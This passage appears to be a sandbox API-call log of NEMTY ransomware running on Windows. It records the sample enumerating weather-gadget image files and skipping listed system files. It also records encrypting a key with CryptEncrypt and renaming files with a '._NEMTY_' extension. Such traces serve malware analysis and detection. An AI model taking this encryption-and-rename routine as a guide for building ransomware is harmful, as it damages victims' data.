lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.672] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.672] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.672] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.682] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.682] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.682] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.682] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.691] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.691] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.691] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.691] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.701] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.701] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.701] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.701] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.710] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.710] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.710] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.710] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.719] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.719] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.719] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.719] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.729] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.729] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.729] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.729] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.738] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.738] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.738] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.738] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.747] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.748] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.748] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.748] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.757] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.757] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.757] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.757] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.763] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.763] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.763] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.763] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.769] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.769] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.769] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.769] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63402c0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.769] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0160.769] CloseHandle (hObject=0xffffffff) returned 0 [0160.769] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6340430 [0160.769] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0160.769] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0160.769] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0160.769] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0160.769] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0160.770] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6343fe8 [0160.770] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x166) returned 0x63440e0 [0160.770] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0160.770] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0160.770] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_moon-first-quarter_partly-cloudy.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_moon-first-quarter_partly-cloudy.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_moon-first-quarter_partly-cloudy.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_moon-first-quarter_partly-cloudy.png._nemty_kgobjgd_")) returned 0 [0160.770] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440e0 | out: hHeap=0x4f90000) returned 1 [0160.770] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0160.770] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0160.770] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402c0 | out: hHeap=0x4f90000) returned 1 [0160.770] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0160.770] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0160.770] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0160.770] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401c8 | out: hHeap=0x4f90000) returned 1 [0160.770] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0160.770] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0160.770] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87148543, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x87148543, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b03876f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2264, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="docked_black_moon-full.png", cAlternateFileName="")) returned 1 [0160.770] lstrcmpiW (lpString1="docked_black_moon-full.png", lpString2=".") returned 1 [0160.770] lstrcmpiW (lpString1="docked_black_moon-full.png", lpString2="..") returned 1 [0160.770] lstrcmpiW (lpString1="docked_black_moon-full.png", lpString2="...") returned 1 [0160.770] lstrcmpiW (lpString1="docked_black_moon-full.png", lpString2="windows") returned -1 [0160.770] lstrcmpiW (lpString1="docked_black_moon-full.png", lpString2="$RECYCLE.BIN") returned 1 [0160.770] lstrcmpiW (lpString1="docked_black_moon-full.png", lpString2="rsa") returned -1 [0160.770] lstrcmpiW (lpString1="docked_black_moon-full.png", lpString2="NTDETECT.COM") returned -1 [0160.770] lstrcmpiW (lpString1="docked_black_moon-full.png", lpString2="ntldr") returned -1 [0160.770] lstrcmpiW (lpString1="docked_black_moon-full.png", lpString2="MSDOS.SYS") returned -1 [0160.770] lstrcmpiW (lpString1="docked_black_moon-full.png", lpString2="IO.SYS") returned -1 [0160.770] lstrcmpiW (lpString1="docked_black_moon-full.png", lpString2="boot.ini") returned 1 [0160.770] lstrcmpiW (lpString1="docked_black_moon-full.png", lpString2="boot.ini") returned 1 [0160.770] lstrcmpiW (lpString1="docked_black_moon-full.png", lpString2="AUTOEXEC.BAT") returned 1 [0160.770] lstrcmpiW (lpString1="docked_black_moon-full.png", lpString2="ntuser.dat") returned -1 [0160.770] lstrcmpiW (lpString1="docked_black_moon-full.png", lpString2="desktop.ini") returned 1 [0160.770] lstrcmpiW (lpString1="docked_black_moon-full.png", lpString2="CONFIG.SYS") returned 1 [0160.771] lstrcmpiW (lpString1="docked_black_moon-full.png", lpString2="RECYCLER") returned -1 [0160.771] lstrcmpiW (lpString1="docked_black_moon-full.png", lpString2="BOOTSECT.BAK") returned 1 [0160.771] lstrcmpiW (lpString1="docked_black_moon-full.png", lpString2="bootmgr") returned 1 [0160.771] lstrcmpiW (lpString1="docked_black_moon-full.png", lpString2="programdata") returned -1 [0160.771] lstrcmpiW (lpString1="docked_black_moon-full.png", lpString2="appdata") returned 1 [0160.771] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0160.771] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-full.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0160.771] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0160.771] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-full.png", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_moon-full.png", lpUsedDefaultChar=0x0) returned 26 [0160.771] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0160.771] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0160.771] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-full.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0160.771] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0160.771] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-full.png", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_moon-full.png", lpUsedDefaultChar=0x0) returned 26 [0160.771] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0160.771] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0160.771] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0160.771] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0160.771] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-full.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0160.771] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0160.771] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-full.png", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_moon-full.png", lpUsedDefaultChar=0x0) returned 26 [0160.778] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0160.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0160.778] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-full.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0160.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0160.778] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-full.png", cchWideChar=26, lpMultiByteStr=0x4f9ed58, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_moon-full.png", lpUsedDefaultChar=0x0) returned 26 [0160.778] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0160.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63401c8 [0160.778] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0160.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63400d0 [0160.779] Sleep (dwMilliseconds=0x5) [0160.787] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x137bc0d0, dwHighDateTime=0x1d561e8)) [0160.787] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x137bc0d0, dwHighDateTime=0x1d561e8)) [0160.787] GetLastError () returned 0x5 [0160.787] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0160.787] GetLastError () returned 0x5 [0160.787] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0160.787] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0160.787] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0160.787] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0160.787] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0160.787] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0160.787] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340290 [0160.787] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340290, pcchString=0x653e91c | out: pszString="b0F8UoQK3gM+RstmZBGGyavOj96fst4ZdHvmXbcb+nZonjSgmTCSNRtjoEdiAkeB\r\nk/xlWWT6t0lNCdYXWQnqX7jHTB0kj3rM0Zbll2hk1Cax0lvt8s8Y/X+MjcTkZpho\r\nAJ/IOQ/1UKsqnwhMDGOGU0Rj8j9gq8UayTjpbF62xvJUdILInJf+PhC4+/be7d3f\r\ngzqB20RBq8TvWojj6p87su7vxR3XP1UbEbQtTqvN14r7uMsHkz5T2KyPvmrZIJ4P\r\n6EQ2JjbbhCEyNhPhk/JZ/Q8p7wyo3e9qf5TjhkJBJaV8xkTaAT6Vr3xj6NH6v/Mo\r\nIKhg+CimIxpZ3iVZA6eSHw==\r\n", pcchString=0x653e91c) returned 1 [0160.787] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0160.787] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340290 | out: hHeap=0x4f90000) returned 1 [0160.787] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0160.787] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0160.787] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340290 [0160.788] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0160.788] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_moon-full.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_moon-full.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0160.788] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0160.788] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0160.788] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.788] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.798] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.798] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.798] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.798] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.807] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.807] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.807] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.807] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.816] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.816] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.816] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.817] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, 